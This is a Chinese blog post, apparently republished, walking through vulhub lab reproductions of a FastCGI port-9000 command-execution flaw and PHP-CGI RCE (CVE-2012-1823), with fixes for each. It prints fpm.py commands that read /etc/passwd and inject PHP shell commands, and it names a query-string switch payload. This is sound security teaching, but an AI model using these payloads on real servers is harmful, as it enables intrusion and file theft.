其它中间件相关漏洞

(一) FastCGI未授权访问、任意命令执行

  1、 漏洞简介及成因

    服务端使用fastcgi协议并对外网开放9000端口,可以构造fastcgi协议包内容,实现未授权访问服务端.php文件以及执行任意命令。

    2、 漏洞复现

    使用vulhub实验环境,启动实验环境。

    在攻击机使用命令python fpm.py 192.168.237.136 /etc/passwd,观察返回结果。

 

    由于访问非*.PHP文件,所以返回结果403。

    使用命令执行一个默认存在的 php 文件。

python fpm.py 192.168.237.136 /usr/local/lib/php/PEAR.php

    

     利用命令进行任意命令执行复现。

    

python fpm.py 192.168.139.129 /usr/local/lib/php/PEAR.php-c '<?php
 echo `pwd`; ?>'
python fpm.py 192.168.139.129 /usr/local/lib/php/PEAR.php-c '<?php echo `ifconfig`; ?>'
python fpm.py 192.168.139.129 /usr/local/lib/php/PEAR.php-c '<?php echo `ls`; ?>'

    

  3、 漏洞修复

    更改默认端口

(二) PHPCGI远程代码执行

  1、 漏洞简介及成因

    在apache调用php解释器解释.php文件时,会将url参数传我给php解释器,如果在url后加传命令行开关(例如-s、-d 、-c或-dauto_prepend_file%3d/etc/passwd+-n)等参数    时,会导致源代码泄露和任意代码执行。

    此漏洞影响php-5.3.12以前的版本,mod方式、fpm方式不受影响。

  2、 漏洞复现

    使用vulhub实验环境,启动环境。

    访问http://192.168.139.129:8080/index.php

    

     抓包,修改包。

    

    命令成功执行。

  3、 漏洞修复

    三种方法:

    1)升级php版本;(php-5.3.12以上版本);

    2)在apache上做文章,开启url过滤,把危险的命令行参数给过滤掉,由于这种方法修补比较简单,采用比较多吧。

    具体做法:

    修改http.conf文件,找到<Directory/>增加以下三行

    RewriteEngine on

    RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$ [NC]

    RewriteRule ^(.*) $1? [L]

    重启一下apache即可,但是要考虑到,相当于每次request就要进行一次url过滤,如果访问量大的话,可能会增加apache的负担。

    3)打上php补丁。

    补丁下载地址:https://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/

猜你喜欢

转载自www.cnblogs.com/ssw6/p/12098739.html